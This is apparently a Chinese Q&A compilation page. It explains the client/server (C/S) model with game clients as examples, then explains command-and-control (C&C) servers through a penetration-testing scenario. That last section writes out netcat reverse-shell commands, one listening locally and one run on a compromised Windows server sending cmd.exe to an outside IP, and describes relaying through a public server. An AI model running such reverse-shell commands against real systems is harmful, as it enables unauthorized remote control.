C当服务器,游戏服务器可以自己做吗

什么是C\S客户端啊

C/S分布式模式,是计算机用语。C是指Client,S是指Server。C/S模式就是指客户端/服务器模式。是计算机软件协同工作的一种模式。由于Web浏览器的兴起,B/S模式逐步取代了C/S模式,被更广泛地应用。

根据客户/服务器(Client/Server简记为C/S)体系结构的概念,至少用两台计算机来分别充当客户机和服务器角色。

C/S服务器通常采用高性能的PC、工作站或小型机,并采用大型数据库系统,如Oracle、Sybase、Informix或SQL Server。客户端需要安装专用的客户端软件。

扩展资料:

C\S客户端优点:

1、C/S功能强大,可以减轻服务器端压力,如果用户的需求特别复杂,用C/S。

2、C/S程序可以更加注重流程,可以对权限多层次校验,对系统运行速度可以较少考虑。

3、C/S一般建立在专用的网络上,小范围里的网络环境,局域网之间再通过专门服务器提供连接和数据交换服务。

4、C/S一般面向相对固定的用户群,对信息安全的控制能力很强.一般高度机密的信息系统采用C/S结构适宜.可以通过B/S发布部分可公开信息。

什么是C/S(客户机/服务器)模式并列举一种基于此模式的应用。

C/S又称Client/Server或客户/服务器模式。服务器通常采用高性能的PC、工作站或小型机,并采用大型数据库系统,如Oracle、Sybase、Informix或 SQL Server。客户端需要安装专用的客户端软件。

C/S的优点是能充分发挥客户端PC的处理能力,很多工作可以在客户端处理后再提交给服务器。对应的优点就是客户端响应速度快。缺点主要有以下几个:

只适用于局域网。而随着互联网的飞速发展,移动办公和分布式办公越来越普及,这需要我们的系统具有扩展性。这种方式远程访问需要专门的技术,同时要对系统进行专门的设计来处理分布式的数据。

客户端需要安装专用的客户端软件。首先涉及到安装的工作量,其次任何一台电脑出问题,如病毒、硬件损坏,都需要进行安装或维护。特别是有很多分部或专卖店的情况,不是工作量的问题,而是路程的问题。还有,系统软件升级时,每一台客户机需要重新安装,其维护和升级成本非常高。

对客户端的操作系统一般也会有限制。可能适应于Win98,但不能用于Win2000或Windows XP。或者不适用于微软新的操作系统等等,更不用说Linux、Unix等。

比如说我们玩的游戏啊,要下载客户端的那种,不是网页游戏,网页游戏属于B/S模式的。比如说现在的QQ音速,魔兽世界,不都要先安装客户端才能玩么?服务器端更新的话,你还要下载更新包啊,这不就是典型的C/S模式么~~~~!!

什么是C&C服务器

C&C服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器

通常在做渗透测试的时候,在拿到一个 webshell的时候,需要对服务器进行提权操作,如果是一台 windows的服务器,提权的时候通常是利用本地提权漏洞的 exp进行溢出提权,有些 exp可以直接在后面加参数,溢出成功之后执行参数中的命令。

而有的 exp溢出成功之后是返回一个 system权限的 cmd,这时就需要将低权限的 cmd shell反弹回本地,这里用 nc在本地执行:nc-vv-lp 3333

上述命令的意思是在本地监听一个 3333端口等待连接,假设电脑 IP是公网的,并且 IP为 114.114.114.114,然后在目标服务器就可以执行:nc 114.114.114.114 3333-e cmd.exe

上面的命令就可以把远程服务器的服务器权限的 cmd shell返回到本地,这时你就可以通过 nc建立的这个 shell进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C服务器。

扩展资料:

C&C服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。

通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。

这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

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